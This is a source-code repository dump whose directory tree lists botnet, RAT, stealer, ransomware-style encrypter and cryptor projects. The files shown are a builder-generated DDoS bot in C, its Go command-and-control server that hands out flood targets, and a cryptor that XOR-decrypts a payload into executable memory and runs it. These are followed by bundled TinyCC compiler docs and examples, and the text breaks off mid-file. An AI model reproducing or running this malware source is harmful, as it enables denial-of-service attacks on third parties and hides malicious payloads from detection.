├── BOTNET ├── BUILDER │ ├── Makefile │ └── builder.py └── sources │ ├── Makefile │ ├── bot.c │ ├── server.go │ └── target.go ├── CRYPTOR └── sources │ ├── Makefile │ ├── builder.c │ ├── encrypt.h │ ├── main.c │ ├── payload.h │ └── tcc32 │ ├── doc │ ├── tcc-doc.html │ └── tcc-win32.txt │ ├── examples │ ├── dll.c │ ├── fib.c │ ├── hello_dll.c │ ├── hello_win.c │ └── libtcc_test.c │ ├── include │ ├── _mingw.h │ ├── assert.h │ ├── conio.h │ ├── ctype.h │ ├── dir.h │ ├── direct.h │ ├── dirent.h │ ├── dos.h │ ├── errno.h │ ├── excpt.h │ ├── fcntl.h │ ├── fenv.h │ ├── float.h │ ├── inttypes.h │ ├── io.h │ ├── limits.h │ ├── locale.h │ ├── malloc.h │ ├── math.h │ ├── mem.h │ ├── memory.h │ ├── process.h │ ├── sec_api │ │ ├── conio_s.h │ │ ├── crtdbg_s.h │ │ ├── io_s.h │ │ ├── mbstring_s.h │ │ ├── search_s.h │ │ ├── stdio_s.h │ │ ├── stdlib_s.h │ │ ├── stralign_s.h │ │ ├── string_s.h │ │ ├── sys │ │ │ └── timeb_s.h │ │ ├── tchar_s.h │ │ ├── time_s.h │ │ └── wchar_s.h │ ├── setjmp.h │ ├── share.h │ ├── signal.h │ ├── stdarg.h │ ├── stdbool.h │ ├── stddef.h │ ├── stdint.h │ ├── stdio.h │ ├── stdlib.h │ ├── string.h │ ├── sys │ │ ├── fcntl.h │ │ ├── file.h │ │ ├── locking.h │ │ ├── stat.h │ │ ├── time.h │ │ ├── timeb.h │ │ ├── types.h │ │ ├── unistd.h │ │ └── utime.h │ ├── tcc │ │ └── tcc_libm.h │ ├── tcclib.h │ ├── tchar.h │ ├── time.h │ ├── vadefs.h │ ├── values.h │ ├── varargs.h │ ├── wchar.h │ ├── wctype.h │ └── winapi │ │ ├── basetsd.h │ │ ├── basetyps.h │ │ ├── guiddef.h │ │ ├── poppack.h │ │ ├── pshpack1.h │ │ ├── pshpack2.h │ │ ├── pshpack4.h │ │ ├── pshpack8.h │ │ ├── winbase.h │ │ ├── wincon.h │ │ ├── windef.h │ │ ├── windows.h │ │ ├── winerror.h │ │ ├── wingdi.h │ │ ├── winnt.h │ │ ├── winreg.h │ │ ├── winuser.h │ │ └── winver.h │ ├── lib │ ├── gdi32.def │ ├── kernel32.def │ ├── libtcc1-32.a │ ├── libtcc1-64.a │ ├── msvcrt.def │ └── user32.def │ ├── libtcc.dll │ ├── libtcc │ ├── libtcc.def │ └── libtcc.h │ ├── tcc.exe │ └── x86_64-win32-tcc.exe ├── ENCRYPTER ├── BUILDER │ ├── Makefile │ └── builder.py └── sources │ ├── Makefile │ ├── crypto.go │ ├── database.go │ ├── enckernel.c │ ├── encrypter.c │ └── server.go ├── HLbotnet ├── README.md ├── ddos.go ├── glbcht.go ├── main.go └── vars.go ├── HLrat ├── README.md └── main.go ├── LICENSE ├── RAT ├── BUILDER │ ├── Makefile │ └── builder.py └── sources │ ├── Makefile │ ├── bot.c │ └── server.go ├── README.md └── STEALER ├── BUILDER ├── Makefile └── builder.py └── sources ├── Makefile ├── server.go └── stealer.c /BOTNET/BUILDER/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: default build 2 | default: build 3 | build: builder.py 4 | python3 builder.py 5 | clean: 6 | rm -f bot.c server.go 7 | -------------------------------------------------------------------------------- /BOTNET/BUILDER/builder.py: -------------------------------------------------------------------------------- 1 | SERVER_FNAME = "server.go" 2 | CLIENT_FNAME = "bot.c" 3 | 4 | URL_ACTION = "/cmd" 5 | IS_SOCKS5_CONNECT = False 6 | 7 | ADDR = "127.0.0.1" 8 | PORT = 8080 9 | SOCKS5_PORT = 9050 10 | 11 | def main(): 12 | with open(SERVER_FNAME, "w") as file: 13 | file.write(SERVER_CODE) 14 | 15 | with open(CLIENT_FNAME, "w") as file: 16 | file.write(CLIENT_CODE) 17 | 18 | SERVER_CODE = """ 19 | package main 20 | 21 | import ( 22 | "os" 23 | "fmt" 24 | "time" 25 | "bufio" 26 | "strings" 27 | "net/http" 28 | "encoding/json" 29 | ) 30 | 31 | var ( 32 | Target = "NULL" 33 | ) 34 | 35 | func main() { 36 | fmt.Println("Server is listening...\\n") 37 | go adminConsole() 38 | http.HandleFunc("/", indexPage) 39 | http.HandleFunc(""" + f"\"{URL_ACTION}\"" + """, cmdPage) 40 | http.ListenAndServe(""" + f"\":{PORT}\"" + """, nil) 41 | } 42 | 43 | func help() string { 44 | return ` 45 | 1. exit // exit from program 46 | 2. help // help info for commands 47 | 3. targ // target ipv4:port/path 48 | ` 49 | } 50 | 51 | func adminConsole() { 52 | var ( 53 | message string 54 | splited []string 55 | ) 56 | for { 57 | message = inputString("> ") 58 | splited = strings.Split(message, " ") 59 | switch splited[0] { 60 | case "exit": 61 | os.Exit(0) 62 | case "help": 63 | fmt.Println(help()) 64 | case "targ": 65 | if len(splited) != 2 { 66 | fmt.Printf("target = '%s'\\n\\n", Target) 67 | continue 68 | } 69 | Target = splited[1] 70 | fmt.Println("target set\\n") 71 | default: 72 | fmt.Println("error: command undefined\\n") 73 | } 74 | } 75 | } 76 | 77 | func inputString(begin string) string { 78 | fmt.Print(begin) 79 | msg, _ := bufio.NewReader(os.Stdin).ReadString('\\n') 80 | return strings.Replace(msg, "\\n", "", 1) 81 | } 82 | 83 | func indexPage(w http.ResponseWriter, r *http.Request) { 84 | response(w, 0, "success: action completed") 85 | } 86 | 87 | func cmdPage(w http.ResponseWriter, r *http.Request) { 88 | count := 5 89 | prevTarg := Target 90 | repeat: 91 | if prevTarg != Target || count == 0 { 92 | goto close 93 | } 94 | count-- 95 | time.Sleep(5 * time.Second) 96 | goto repeat 97 | close: 98 | response(w, 0, Target) 99 | } 100 | 101 | func response(w http.ResponseWriter, ret int, res string) { 102 | w.Header().Set("Content-Type", "application/json") 103 | var resp struct { 104 | Return int `json:"return"` 105 | Result string `json:"result"` 106 | } 107 | resp.Return = ret 108 | resp.Result = res 109 | json.NewEncoder(w).Encode(resp) 110 | } 111 | """ 112 | 113 | CLIENT_CODE = """ 114 | #include "extclib/net.h" 115 | 116 | #include 117 | #include 118 | #include 119 | #include 120 | #include 121 | 122 | #define BUFSIZ_1K (1 << 10) 123 | #define BUFSIZ_2K (2 << 10) 124 | #define BUFSIZ_8K (8 << 10) 125 | 126 | #define ADDRESS """ + (f"\"{ADDR}\", {PORT}, {SOCKS5_PORT}" if IS_SOCKS5_CONNECT else f"\"{ADDR}\", {PORT}") + """ 127 | 128 | static void run_ddos(void *target); 129 | static void _stop_thrd(thrd_t *th); 130 | 131 | static char *_strncpy(char *output, const char *input, size_t size); 132 | 133 | static int stop_ddos = 0; 134 | static int thrd_used = 0; 135 | 136 | int main(void) { 137 | char currtarg[BUFSIZ_2K] = "NULL"; 138 | char newtarg[BUFSIZ_2K]; 139 | char buffer[BUFSIZ_8K]; 140 | 141 | net_conn *conn; 142 | thrd_t th; 143 | char *ptr; 144 | int ret; 145 | 146 | char inputs[BUFSIZ_1K]; 147 | sprintf(inputs, "{\\"return\\":%%d,\\"result\\":\\"%%%d[^\\"]\\"}", BUFSIZ_2K-1); 148 | 149 | while(1) { 150 | conn = """ + ("net_socks5_connect(ADDRESS);" if IS_SOCKS5_CONNECT else "net_connect(ADDRESS);") + """ 151 | if (conn == NULL) { 152 | sleep(5); 153 | continue; 154 | } 155 | 156 | net_http_get(conn, """ + f"\"{URL_ACTION}\"" + """); 157 | ret = net_recv(conn, buffer, BUFSIZ_8K-1); 158 | buffer[ret] = '\\0'; 159 | 160 | net_close(conn); 161 | 162 | ptr = strstr(buffer, "{"); 163 | if (ptr == NULL) { 164 | continue; 165 | } 166 | 167 | ret = -1; 168 | sscanf(ptr, inputs, &ret, newtarg); 169 | if (ret != 0) { 170 | continue; 171 | } 172 | 173 | if (strcmp(newtarg, currtarg) == 0) { 174 | continue; 175 | } 176 | 177 | if (strcmp(newtarg, "NULL") == 0) { 178 | _strncpy(currtarg, newtarg, BUFSIZ_2K); 179 | _stop_thrd(&th); 180 | continue; 181 | } 182 | 183 | _strncpy(currtarg, newtarg, BUFSIZ_2K); 184 | _stop_thrd(&th); 185 | 186 | thrd_create(&th, (thrd_start_t)run_ddos, currtarg); 187 | } 188 | 189 | return 0; 190 | } 191 | 192 | static void run_ddos(void *target) { 193 | char buffer[BUFSIZ_2K]; 194 | char addr[BUFSIZ_2K]; 195 | char *path = NULL; 196 | int port = 0; 197 | size_t len; 198 | net_conn *conn; 199 | 200 | _strncpy(addr, (const char *)target, BUFSIZ_2K); 201 | len = strlen(addr); 202 | 203 | for (size_t i = 0, j = 0; i < len; ++i) { 204 | if (addr[i] == ':') { 205 | addr[i] = '\\0'; 206 | j = i + 1; 207 | continue; 208 | } 209 | if (addr[i] == '/') { 210 | addr[i] = '\\0'; 211 | port = atoi(addr + j); 212 | addr[i] = '/'; 213 | path = (addr + i); 214 | break; 215 | } 216 | } 217 | 218 | if (port == 0) { 219 | return; 220 | } 221 | 222 | thrd_used = 1; 223 | 224 | while(1) { 225 | if (stop_ddos) { 226 | break; 227 | } 228 | conn = net_connect(addr, port); 229 | if (conn == NULL) { 230 | sleep(5); 231 | continue; 232 | } 233 | net_http_get(conn, path); 234 | net_recv(conn, buffer, BUFSIZ_2K); 235 | net_close(conn); 236 | } 237 | 238 | thrd_used = 0; 239 | } 240 | 241 | static void _stop_thrd(thrd_t *th) { 242 | if (thrd_used) { 243 | stop_ddos = 1; 244 | thrd_join(*th, NULL); 245 | stop_ddos = 0; 246 | } 247 | } 248 | 249 | static char *_strncpy(char *output, const char *input, size_t size) { 250 | char *ret = strncpy(output, input, size-1); 251 | output[size-1] = '\\0'; 252 | return ret; 253 | } 254 | """ 255 | 256 | if __name__ == "__main__": 257 | main() 258 | -------------------------------------------------------------------------------- /BOTNET/sources/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -std=c11 3 | CFILES=bot.c extclib/extclib.o 4 | 5 | GC=go build 6 | GFILES=server.go 7 | 8 | .PHONY: default install build 9 | default: install build 10 | install: 11 | git clone https://github.com/number571/extclib.git 12 | make -C extclib/ 13 | build: $(CFILES) $(GFILES) 14 | $(CC) -o bot $(CFILES) $(CFLAGS) -lcrypto -pthread 15 | $(GC) -o server $(GFILES) 16 | clean: 17 | rm -rf extclib/ 18 | rm -f bot server 19 | -------------------------------------------------------------------------------- /BOTNET/sources/bot.c: -------------------------------------------------------------------------------- 1 | #include "extclib/net.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define BUFSIZ_1K (1 << 10) 10 | #define BUFSIZ_2K (2 << 10) 11 | #define BUFSIZ_8K (8 << 10) 12 | 13 | #define ADDRESS "127.0.0.1", 8080 14 | 15 | static void run_ddos(void *target); 16 | static void _stop_thrd(thrd_t *th); 17 | 18 | static char *_strncpy(char *output, const char *input, size_t size); 19 | 20 | static int stop_ddos = 0; 21 | static int thrd_used = 0; 22 | 23 | int main(void) { 24 | char currtarg[BUFSIZ_2K] = "NULL"; 25 | char newtarg[BUFSIZ_2K]; 26 | char buffer[BUFSIZ_8K]; 27 | 28 | net_conn *conn; 29 | thrd_t th; 30 | char *ptr; 31 | int ret; 32 | 33 | char inputs[BUFSIZ_1K]; 34 | sprintf(inputs, "{\"return\":%%d,\"result\":\"%%%d[^\"]\"}", BUFSIZ_2K-1); 35 | 36 | while(1) { 37 | conn = net_connect(ADDRESS); 38 | if (conn == NULL) { 39 | sleep(5); 40 | continue; 41 | } 42 | 43 | net_http_get(conn, "/cmd"); 44 | ret = net_recv(conn, buffer, BUFSIZ_8K-1); 45 | buffer[ret] = '\0'; 46 | 47 | net_close(conn); 48 | 49 | ptr = strstr(buffer, "{"); 50 | if (ptr == NULL) { 51 | continue; 52 | } 53 | 54 | ret = -1; 55 | sscanf(ptr, inputs, &ret, newtarg); 56 | if (ret != 0) { 57 | continue; 58 | } 59 | 60 | if (strcmp(newtarg, currtarg) == 0) { 61 | continue; 62 | } 63 | 64 | if (strcmp(newtarg, "NULL") == 0) { 65 | _strncpy(currtarg, newtarg, BUFSIZ_2K); 66 | _stop_thrd(&th); 67 | continue; 68 | } 69 | 70 | _strncpy(currtarg, newtarg, BUFSIZ_2K); 71 | _stop_thrd(&th); 72 | 73 | thrd_create(&th, (thrd_start_t)run_ddos, currtarg); 74 | } 75 | 76 | return 0; 77 | } 78 | 79 | static void run_ddos(void *target) { 80 | char buffer[BUFSIZ_2K]; 81 | char addr[BUFSIZ_2K]; 82 | char *path = NULL; 83 | int port = 0; 84 | size_t len; 85 | net_conn *conn; 86 | 87 | _strncpy(addr, (const char *)target, BUFSIZ_2K); 88 | len = strlen(addr); 89 | 90 | for (size_t i = 0, j = 0; i < len; ++i) { 91 | if (addr[i] == ':') { 92 | addr[i] = '\0'; 93 | j = i + 1; 94 | continue; 95 | } 96 | if (addr[i] == '/') { 97 | addr[i] = '\0'; 98 | port = atoi(addr + j); 99 | addr[i] = '/'; 100 | path = (addr + i); 101 | break; 102 | } 103 | } 104 | 105 | if (port == 0) { 106 | return; 107 | } 108 | 109 | thrd_used = 1; 110 | 111 | while(1) { 112 | if (stop_ddos) { 113 | break; 114 | } 115 | conn = net_connect(addr, port); 116 | if (conn == NULL) { 117 | sleep(5); 118 | continue; 119 | } 120 | net_http_get(conn, path); 121 | net_recv(conn, buffer, BUFSIZ_2K); 122 | net_close(conn); 123 | } 124 | 125 | thrd_used = 0; 126 | } 127 | 128 | static void _stop_thrd(thrd_t *th) { 129 | if (thrd_used) { 130 | stop_ddos = 1; 131 | thrd_join(*th, NULL); 132 | stop_ddos = 0; 133 | } 134 | } 135 | 136 | static char *_strncpy(char *output, const char *input, size_t size) { 137 | char *ret = strncpy(output, input, size-1); 138 | output[size-1] = '\0'; 139 | return ret; 140 | } 141 | -------------------------------------------------------------------------------- /BOTNET/sources/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "encoding/json" 6 | "fmt" 7 | "net/http" 8 | "os" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | var ( 14 | Target = "NULL" 15 | ) 16 | 17 | func main() { 18 | fmt.Println("Server is listening...\n") 19 | go adminConsole() 20 | http.HandleFunc("/", indexPage) 21 | http.HandleFunc("/cmd", cmdPage) 22 | http.ListenAndServe(":8080", nil) 23 | } 24 | 25 | func help() string { 26 | return ` 27 | 1. exit // exit from program 28 | 2. help // help info for commands 29 | 3. targ // target ipv4:port/path 30 | ` 31 | } 32 | 33 | func adminConsole() { 34 | var ( 35 | message string 36 | splited []string 37 | ) 38 | for { 39 | message = inputString("> ") 40 | splited = strings.Split(message, " ") 41 | switch splited[0] { 42 | case "exit": 43 | os.Exit(0) 44 | case "help": 45 | fmt.Println(help()) 46 | case "targ": 47 | if len(splited) != 2 { 48 | fmt.Printf("target = '%s'\n\n", Target) 49 | continue 50 | } 51 | Target = splited[1] 52 | fmt.Println("target set\n") 53 | default: 54 | fmt.Println("error: command undefined\n") 55 | } 56 | } 57 | } 58 | 59 | func inputString(begin string) string { 60 | fmt.Print(begin) 61 | msg, _ := bufio.NewReader(os.Stdin).ReadString('\n') 62 | return strings.Replace(msg, "\n", "", 1) 63 | } 64 | 65 | func indexPage(w http.ResponseWriter, r *http.Request) { 66 | response(w, 0, "success: action completed") 67 | } 68 | 69 | func cmdPage(w http.ResponseWriter, r *http.Request) { 70 | count := 5 71 | prevTarg := Target 72 | repeat: 73 | if prevTarg != Target || count == 0 { 74 | goto close 75 | } 76 | count-- 77 | time.Sleep(5 * time.Second) 78 | goto repeat 79 | close: 80 | response(w, 0, Target) 81 | } 82 | 83 | func response(w http.ResponseWriter, ret int, res string) { 84 | w.Header().Set("Content-Type", "application/json") 85 | var resp struct { 86 | Return int `json:"return"` 87 | Result string `json:"result"` 88 | } 89 | resp.Return = ret 90 | resp.Result = res 91 | json.NewEncoder(w).Encode(resp) 92 | } 93 | -------------------------------------------------------------------------------- /BOTNET/sources/target.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "fmt" 6 | "net/http" 7 | ) 8 | 9 | func main() { 10 | fmt.Println("Server is listening...\n") 11 | http.HandleFunc("/", indexPage) 12 | http.ListenAndServe(":9090", nil) 13 | } 14 | 15 | func indexPage(w http.ResponseWriter, r *http.Request) { 16 | log.Printf("[M: %s] [U: %s] [A: %s]\n", r.Method, r.URL.Path, r.RemoteAddr) 17 | fmt.Fprint(w, "hello, world") 18 | } 19 | -------------------------------------------------------------------------------- /CRYPTOR/sources/Makefile: -------------------------------------------------------------------------------- 1 | # CC=gcc -O0 -m32 2 | # .PHONY:default build run 3 | # default: build run 4 | # build: main.c builder.c $(CFILES) 5 | # $(CC) -o builder builder.c $(CFILES) 6 | # $(CC) -o main main.c $(CFILES) 7 | # run: 8 | # ./builder 9 | # ./main 10 | 11 | CC=tcc32/tcc.exe 12 | .PHONY:default build run 13 | default: build run 14 | build: main.c builder.c $(CFILES) 15 | wine $(CC) -o builder.exe builder.c $(CFILES) 16 | wine $(CC) -o main.exe main.c $(CFILES) 17 | run: 18 | wine builder.exe 19 | wine main.exe 20 | -------------------------------------------------------------------------------- /CRYPTOR/sources/builder.c: -------------------------------------------------------------------------------- 1 | #include "payload.h" 2 | #include "encrypt.h" 3 | 4 | #include 5 | #include 6 | 7 | int main(void) { 8 | FILE *payload; 9 | int nbytes; 10 | 11 | payload = fopen("payload.bin", "wb"); 12 | if (payload == NULL) { 13 | return 1; 14 | } 15 | 16 | nbytes = (unsigned long)_end - (unsigned long)_payload; 17 | char buff[nbytes]; 18 | 19 | char key[] = "it's a key!"; 20 | int lenkey = strlen(key); 21 | 22 | // encrypt 23 | encrypt_xor(buff, (char*)_payload, nbytes, key, lenkey); 24 | 25 | fwrite(buff, sizeof(char), nbytes, payload); 26 | fclose(payload); 27 | 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /CRYPTOR/sources/encrypt.h: -------------------------------------------------------------------------------- 1 | #ifndef ENCRYPT_H 2 | #define ENCRYPT_H 3 | 4 | void encrypt_xor(char *output, char *input, int isize, char *key, int ksize) { 5 | for (int i = 0; i < isize; ++i) { 6 | output[i] = input[i] ^ key[i % ksize]; 7 | } 8 | } 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /CRYPTOR/sources/main.c: -------------------------------------------------------------------------------- 1 | #include "encrypt.h" 2 | 3 | #include 4 | #include 5 | 6 | #ifdef __unix__ 7 | #include 8 | #elif _WIN32 9 | #include 10 | #else 11 | #error "platform not supported" 12 | #endif 13 | 14 | static void *vmalloc(int size); 15 | static int vfree(void *mem, int size); 16 | 17 | typedef int (*payload_t)( 18 | FILE *(*_fopen) (const char *, const char *), 19 | int (*_fprintf) (FILE *, const char *, ...), 20 | int (*_fclose) (FILE *), 21 | int x 22 | ); 23 | 24 | int main(void) { 25 | FILE *payload; 26 | void *exec; 27 | 28 | char buff[BUFSIZ]; 29 | 30 | payload = fopen("payload.bin", "rb"); 31 | if (payload == NULL) { 32 | return 1; 33 | } 34 | 35 | exec = vmalloc(BUFSIZ); 36 | 37 | fread(buff, sizeof(char), BUFSIZ, payload); 38 | fclose(payload); 39 | 40 | char key[] = "it's a key!"; 41 | int lenkey = strlen(key); 42 | 43 | // decrypt 44 | encrypt_xor(exec, buff, BUFSIZ, key, lenkey); 45 | 46 | // exec 47 | printf("%d\n", ((payload_t)exec)(fopen, fprintf, fclose, 42131)); 48 | vfree(exec, BUFSIZ); 49 | 50 | return 0; 51 | } 52 | 53 | static void *vmalloc(int size) { 54 | #ifdef __unix__ 55 | return mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, 56 | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); 57 | #elif _WIN32 58 | return VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 59 | #endif 60 | } 61 | 62 | static int vfree(void *mem, int size) { 63 | #ifdef __unix__ 64 | return munmap(mem, size); 65 | #elif _WIN32 66 | return VirtualFree(mem, size, MEM_RELEASE); 67 | #endif 68 | } 69 | -------------------------------------------------------------------------------- /CRYPTOR/sources/payload.h: -------------------------------------------------------------------------------- 1 | #ifndef PAYLOAD_H 2 | #define PAYLOAD_H 3 | 4 | #include 5 | 6 | extern int _payload( 7 | FILE *(*_fopen) (const char *, const char *), 8 | int (*_fprintf) (FILE *, const char *, ...), 9 | int (*_fclose) (FILE *), 10 | int x 11 | ) { 12 | char filename[] = "result.txt"; 13 | char mode[] = "w"; 14 | char format[] = "%d"; 15 | 16 | FILE *file = _fopen(filename, mode); 17 | if (file == NULL) { 18 | return 1; 19 | } 20 | 21 | _fprintf(file, format, x * 20); 22 | _fclose(file); 23 | return 0; 24 | } 25 | extern void _end(void); 26 | 27 | #endif -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/doc/tcc-win32.txt: -------------------------------------------------------------------------------- 1 | 2 | TinyCC 3 | ====== 4 | 5 | This file contains specific information for usage of TinyCC 6 | under MS-Windows. See tcc-doc.html to have all the features. 7 | 8 | 9 | Installation from the binary ZIP package: 10 | ----------------------------------------- 11 | Unzip the package to a directory of your choice. 12 | 13 | 14 | Set the system PATH: 15 | -------------------- 16 | To be able to invoke the compiler from everywhere on your computer by 17 | just typing "tcc", please add the directory containing tcc.exe to your 18 | system PATH. 19 | 20 | 21 | Include and library search paths 22 | -------------------------------- 23 | On windows, the standard "include" and "lib" directories are searched 24 | relatively from the location of the executables (tcc.exe, libtcc.dll). 25 | 26 | 27 | Examples: 28 | --------- 29 | Open a console window (DOS box) and 'cd' to the examples directory. 30 | 31 | For the 'Fibonacci' example type: 32 | 33 | tcc fib.c 34 | 35 | For the 'Hello Windows' GUI example type: 36 | 37 | tcc hello_win.c 38 | 39 | For the 'Hello DLL' example type 40 | 41 | tcc -shared dll.c 42 | tcc -impdef dll.dll (optional) 43 | tcc hello_dll.c dll.def 44 | 45 | 46 | Using libtcc as JIT compiler in your program 47 | -------------------------------------------- 48 | Check out the 'libtcc_test' example: 49 | 50 | - Running it from source: 51 | tcc -I libtcc libtcc/libtcc.def -run examples/libtcc_test.c 52 | 53 | - Compiling with TCC: 54 | tcc examples/libtcc_test.c -I libtcc libtcc/libtcc.def 55 | 56 | - Compiling with MinGW: 57 | gcc examples/libtcc_test.c -I libtcc libtcc.dll -o libtcc_test.exe 58 | 59 | - Compiling with MSVC: 60 | lib /def:libtcc\libtcc.def /out:libtcc.lib 61 | cl /MD examples/libtcc_test.c -I libtcc libtcc.lib 62 | 63 | 64 | Import Definition Files: 65 | ------------------------ 66 | To link with Windows system DLLs, TCC uses import definition 67 | files (.def) instead of libraries. 68 | 69 | The now built-in 'tiny_impdef' program may be used to make 70 | additional .def files for any DLL. For example 71 | 72 | tcc -impdef [-v] opengl32.dll [-o opengl32.def] 73 | 74 | Put opengl32.def into the tcc/lib directory. Specify -lopengl32 at 75 | the TCC commandline to link a program that uses opengl32.dll. 76 | 77 | 78 | Header Files: 79 | ------------- 80 | The system header files (except _mingw.h) are from the MinGW 81 | distribution: 82 | 83 | http://www.mingw.org/ 84 | 85 | From the windows headers, only a minimal set is included. If you need 86 | more, get MinGW's "w32api" package. Extract the files from "include" 87 | into your "tcc/include/winapi" directory. 88 | 89 | 90 | Resource Files: 91 | --------------- 92 | TCC can link windows resources in coff format as generated by MinGW's 93 | windres.exe. For example: 94 | 95 | windres -O coff app.rc -o appres.o 96 | tcc app.c appres.o -o app.exe 97 | 98 | 99 | Tiny Libmaker: 100 | -------------- 101 | The now built-in tiny_libmaker tool by Timovj Lahde can be used as 102 | 'ar' replacement to make a library from several object files: 103 | 104 | tcc -ar [rcsv] library objectfiles ... 105 | 106 | 107 | Compilation from source: 108 | ------------------------ 109 | * You can use the MinGW and MSYS tools available at 110 | http://www.mingw.org 111 | http://www.mingw-w64.org 112 | http://www.msys2.org 113 | 114 | Untar the TCC archive and type in the MSYS shell: 115 | ./configure [--prefix installpath] 116 | make 117 | make install 118 | 119 | The default install location is c:\Program Files\tcc 120 | 121 | Cygwin can be used too with its mingw cross-compiler installed: 122 | ./configure --cross-prefix=i686-w64-mingw32- 123 | (the prefix may vary) 124 | 125 | * Alternatively you can compile TCC with just GCC from MinGW using 126 | > build-tcc.bat (from the win32 directory) 127 | 128 | Also MSVC can be used with the "VSTools Developer Command Prompt": 129 | > build-tcc.bat -c cl 130 | 131 | or with an existing tcc (needs to be in a different directory) 132 | > build-tcc.bat -c some-tcc-dir\tcc.exe 133 | 134 | Also you can copy/install everything into another directory: 135 | > build-tcc.bat -i 136 | 137 | Limitations: 138 | ------------ 139 | - On the object file level, currently TCC supports only the ELF format, 140 | not COFF as used by MinGW and MSVC. It is not possible to exchange 141 | object files or libraries between TCC and these compilers. 142 | 143 | However libraries for TCC from objects by TCC can be made using 144 | tcc -ar lib.a files.o ,,, 145 | 146 | - No leading underscore is generated in the ELF symbols. 147 | 148 | Documentation and License: 149 | -------------------------- 150 | TCC is distributed under the GNU Lesser General Public License. (See 151 | COPYING file or http://www.gnu.org/licenses/lgpl-2.1.html) 152 | 153 | TinyCC homepage is at: 154 | 155 | http://fabrice.bellard.free.fr/tcc/ 156 | 157 | 158 | WinAPI Help and 3rd-party tools: 159 | -------------------------------- 160 | The Windows API documentation (Win95) in a single .hlp file is 161 | available on the lcc-win32 site as "win32hlp.exe" or from other 162 | locations as "win32hlp_big.zip". 163 | 164 | A nice RAD tool to create windows resources (dialog boxes etc.) is 165 | "ResEd", available at the RadASM website. 166 | 167 | 168 | --- grischka 169 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/examples/dll.c: -------------------------------------------------------------------------------- 1 | //+--------------------------------------------------------------------------- 2 | // 3 | // dll.c - Windows DLL example - dynamically linked part 4 | // 5 | 6 | #include 7 | 8 | __declspec(dllexport) const char *hello_data = "(not set)"; 9 | 10 | __declspec(dllexport) void hello_func (void) 11 | { 12 | MessageBox (0, hello_data, "From DLL", MB_ICONINFORMATION); 13 | } 14 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/examples/fib.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include // atoi() 3 | 4 | int fib(n) 5 | { 6 | if (n <= 2) 7 | return 1; 8 | else 9 | return fib(n-1) + fib(n-2); 10 | } 11 | 12 | int main(int argc, char **argv) 13 | { 14 | int n; 15 | if (argc < 2) { 16 | printf("usage: fib n\n" 17 | "Compute nth Fibonacci number\n"); 18 | return 1; 19 | } 20 | 21 | n = atoi(argv[1]); 22 | printf("fib(%d) = %d\n", n, fib(n)); 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/examples/hello_dll.c: -------------------------------------------------------------------------------- 1 | //+--------------------------------------------------------------------------- 2 | // 3 | // HELLO_DLL.C - Windows DLL example - main application part 4 | // 5 | 6 | #include 7 | 8 | void hello_func (void); 9 | __declspec(dllimport) extern const char *hello_data; 10 | 11 | int WINAPI WinMain( 12 | HINSTANCE hInstance, 13 | HINSTANCE hPrevInstance, 14 | LPSTR lpCmdLine, 15 | int nCmdShow) 16 | { 17 | hello_data = "Hello World!"; 18 | hello_func(); 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/examples/hello_win.c: -------------------------------------------------------------------------------- 1 | //+--------------------------------------------------------------------------- 2 | // 3 | // HELLO_WIN.C - Windows GUI 'Hello World!' Example 4 | // 5 | //+--------------------------------------------------------------------------- 6 | 7 | #include 8 | 9 | #define APPNAME "HELLO_WIN" 10 | 11 | char szAppName[] = APPNAME; // The name of this application 12 | char szTitle[] = APPNAME; // The title bar text 13 | const char *pWindowText; 14 | 15 | void CenterWindow(HWND hWnd); 16 | 17 | //+--------------------------------------------------------------------------- 18 | // 19 | // Function: WndProc 20 | // 21 | // Synopsis: very unusual type of function - gets called by system to 22 | // process windows messages. 23 | // 24 | // Arguments: same as always. 25 | //---------------------------------------------------------------------------- 26 | 27 | LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) 28 | { 29 | switch (message) { 30 | 31 | // ----------------------- first and last 32 | case WM_CREATE: 33 | CenterWindow(hwnd); 34 | break; 35 | 36 | case WM_DESTROY: 37 | PostQuitMessage(0); 38 | break; 39 | 40 | // ----------------------- get out of it... 41 | case WM_RBUTTONUP: 42 | DestroyWindow(hwnd); 43 | break; 44 | 45 | case WM_KEYDOWN: 46 | if (VK_ESCAPE == wParam) 47 | DestroyWindow(hwnd); 48 | break; 49 | 50 | // ----------------------- display our minimal info 51 | case WM_PAINT: 52 | { 53 | PAINTSTRUCT ps; 54 | HDC hdc; 55 | RECT rc; 56 | hdc = BeginPaint(hwnd, &ps); 57 | 58 | GetClientRect(hwnd, &rc); 59 | SetTextColor(hdc, RGB(240,240,96)); 60 | SetBkMode(hdc, TRANSPARENT); 61 | DrawText(hdc, pWindowText, -1, &rc, DT_CENTER|DT_SINGLELINE|DT_VCENTER); 62 | 63 | EndPaint(hwnd, &ps); 64 | break; 65 | } 66 | 67 | // ----------------------- let windows do all other stuff 68 | default: 69 | return DefWindowProc(hwnd, message, wParam, lParam); 70 | } 71 | return 0; 72 | } 73 | 74 | //+--------------------------------------------------------------------------- 75 | // 76 | // Function: WinMain 77 | // 78 | // Synopsis: standard entrypoint for GUI Win32 apps 79 | // 80 | //---------------------------------------------------------------------------- 81 | int APIENTRY WinMain( 82 | HINSTANCE hInstance, 83 | HINSTANCE hPrevInstance, 84 | LPSTR lpCmdLine, 85 | int nCmdShow 86 | ) 87 | { 88 | MSG msg; 89 | WNDCLASS wc; 90 | HWND hwnd; 91 | 92 | pWindowText = 